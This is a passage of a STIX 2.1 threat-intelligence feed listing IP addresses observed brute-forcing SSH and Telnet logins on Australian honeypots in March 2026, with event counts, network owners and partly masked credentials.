      "pattern": "[ipv4-addr:value = '134.209.82.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T20:15:15.000Z",
      "valid_until": "2026-04-09T20:15:11.000Z"
    },
    {
      "created": "2026-03-08T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--c6fb6fa7-a8d0-4ca3-a05f-4b1acf78e8d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T20:15:15.000Z",
      "valid_until": "2026-04-09T20:15:11.000Z"
    },
    {
      "created": "2026-03-08T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ca3aa1cb-ce71-4df8-9176-9e78f20d3345",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.224.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T20:15:15.000Z",
      "valid_until": "2026-04-09T20:15:11.000Z"
    },
    {
      "created": "2026-03-08T20:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): s*****e, 3**********4, ***, e**r, i*****m. Passwords observed (masked): 1**4, 3***********4, 3**********4, D*****!, E******!.",
      "id": "indicator--3fd8015e-eb0a-49e9-b76e-23dc347b7a2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T20:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '96.78.175.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T20:15:15.000Z",
      "valid_until": "2026-04-09T20:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, r**t, w*****s. Passwords observed (masked): 1**4, Q*******3, p******d.",
      "id": "indicator--f9004356-5c0e-4605-8e11-1c1118f77a24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.89.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58541. Organisation(s): Qingdao,266000. Usernames observed (masked): f**d, s******n. Passwords observed (masked): S**********!, f*****3.",
      "id": "indicator--0c5b570e-99cd-453b-8fb7-72263a10783b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '140.249.22.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 149107. Organisation(s): TRUMVPS COMPANY LIMITED. Usernames observed (masked): r**t, ***. Passwords observed (masked): 1******8, Q*******3.",
      "id": "indicator--72cf0398-e229-41c2-b473-9e792c228ba4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.66.26.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 57494. Organisation(s): Adman LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****e.",
      "id": "indicator--b6c1a42f-3c4d-4fc8-a484-11d65db57ea2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.133.42.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t, 3**********4, ***, k***m, m***a. Passwords observed (masked): !**********5, ***, 1****6, 3***********4, 3**********4.",
      "id": "indicator--64aa268b-fc47-4ed1-aa0e-189e0c64ef67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.203.236.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): e**r, 3**********4, e*******l, t****e. Passwords observed (masked): 3***********4, 3**********4, E**********3, T*******3, e*****3.",
      "id": "indicator--b28403d3-1d3f-43cd-a1f6-c763c559c1de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.98.62.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e8f4dcc2-16c2-40e1-b526-e1bded28b050",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.149.51.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9381. Organisation(s): HKBN Enterprise Solutions HK Limited.",
      "id": "indicator--771fb671-3bbe-4500-8586-21eed1160ee3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.255.64.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--06377b15-6301-4b80-8347-cc65ac22e8f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.92.84.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): d*********t, e***l. Passwords observed (masked): D************3, p******d.",
      "id": "indicator--d87e992c-0354-474b-b572-bba9ee550a01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.159.0.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 267731. Organisation(s): COOPERATIVA DE ELECTRICIDAD SERVICIOS PUBLICOS VIVIENDA Y CREDITO DE V CANAS LTD. Usernames observed (masked): a****g, m***d. Passwords observed (masked): m***d, p******d.",
      "id": "indicator--ab917fe2-52b2-41bc-aa30-26c2fb657d46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.166.78.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:15:13.000Z",
      "valid_until": "2026-04-09T21:15:11.000Z"
    },
    {
      "created": "2026-03-08T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 149636. Organisation(s): Hasan Broadband Net. Usernames observed (masked): **. Passwords observed (masked): v***3.",
      "id": "indicator--558309c4-2ffa-42fe-9375-30a94aef23ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.183.62.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T22:15:13.000Z",
      "valid_until": "2026-04-09T22:15:11.000Z"
    },
    {
      "created": "2026-03-08T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 149636. Organisation(s): Hasan Broadband Net. Usernames observed (masked): c***o, r**t, 3**********4, a***n, b**s. Passwords observed (masked): ***, ***, 1**4, 3***********4, 3**********4.",
      "id": "indicator--77a5359f-9189-4e09-a7e7-60e5727f42b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.183.62.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T22:15:13.000Z",
      "valid_until": "2026-04-09T22:15:11.000Z"
    },
    {
      "created": "2026-03-08T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, a***n, p******d.",
      "id": "indicator--94a51f63-3c49-4d36-8af9-5b8b5d6b3722",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.95.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T22:15:13.000Z",
      "valid_until": "2026-04-09T22:15:11.000Z"
    },
    {
      "created": "2026-03-08T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, Y*******!, l************8.",
      "id": "indicator--5dc078ec-02e0-4c94-b908-274b98651a23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.7.1.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T22:15:13.000Z",
      "valid_until": "2026-04-09T22:15:11.000Z"
    },
    {
      "created": "2026-03-08T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T22:15:13.000Z",
      "valid_until": "2026-04-09T22:15:11.000Z"
    },
    {
      "created": "2026-03-08T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 138. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--425db24b-9136-4fdf-be80-89426ffae545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.173.34.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T23:15:11.000Z",
      "valid_until": "2026-04-09T23:15:08.000Z"
    },
    {
      "created": "2026-03-08T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f4bda5e9-88a5-4a48-8d78-beabf13e8c70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T23:15:11.000Z",
      "valid_until": "2026-04-09T23:15:08.000Z"
    },
    {
      "created": "2026-03-08T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 10013. Organisation(s): FreeBit Co.,Ltd..",
      "id": "indicator--ac2d0610-e6aa-4c32-9ae9-3497aa30b39e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.134.86.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T23:15:11.000Z",
      "valid_until": "2026-04-09T23:15:08.000Z"
    },
    {
      "created": "2026-03-08T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, a***n, p******d.",
      "id": "indicator--163ea12e-8adf-4b99-b63b-2588a781deee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.85.99.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T23:15:11.000Z",
      "valid_until": "2026-04-09T23:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, r**t, s***p, a***n, a*****x. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--2864320c-9010-4861-b0ea-2bef2fcbff05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.139.192.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4835. Organisation(s): China Telecom Group. Usernames observed (masked): a****y, d***o, l*******r. Passwords observed (masked): D*******!, L**********3, a********!.",
      "id": "indicator--dcab302b-1697-4bcd-960a-5f5675c451b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.251.110.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4, b****x, m****h, u**r. Passwords observed (masked): 3***********4, 3**********4, B*******3, T*******!, m********s.",
      "id": "indicator--0737902e-3127-41c6-bb9b-c02e1ac1be3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.227.232.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 266732. Organisation(s): FIBERTEL PERU S.A.. Usernames observed (masked): v**s, 3**********4, ***, b*****d, d****y. Passwords observed (masked): 1****6, 1**4, 3***********4, 3**********4, A*******3.",
      "id": "indicator--61c0b394-64c3-479f-84fe-141dc388d085",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.132.180.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, c*****t, d**************r, ***, a****g. Passwords observed (masked): 3***********4, 3**********4, 1******8, p******d, ***.",
      "id": "indicator--7f92b9c1-0197-4718-9b43-babb3be96845",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.172.196.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1aaae3dc-ce78-4769-9788-ba0151298c2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.13.254.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 133774. Organisation(s): Fuzhou. Usernames observed (masked): b****x, p******a, u***2. Passwords observed (masked): ***, B*******3, p*********3.",
      "id": "indicator--ba1cda76-421b-47d8-8cf8-c048506735e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.150.188.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 37004. Organisation(s): Suburban-Broadband-AS. Usernames observed (masked): s***p, 3**********4, a***n, a*****x, ***. Passwords observed (masked): ***, 1**4, 1***5, 1******8, 1******a.",
      "id": "indicator--c9d44c02-6d9e-44bf-ad40-000e0c03455a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.73.0.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NO. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4, a***n, a***********r, m***l. Passwords observed (masked): 3**********4, R********!, a*******3, a*******s, g***********g.",
      "id": "indicator--8e92be78-983c-49aa-9c5d-821c65b659a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.29.238.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--e8f9e767-52ea-4c76-83f1-88ecf6d135d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.142.149.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
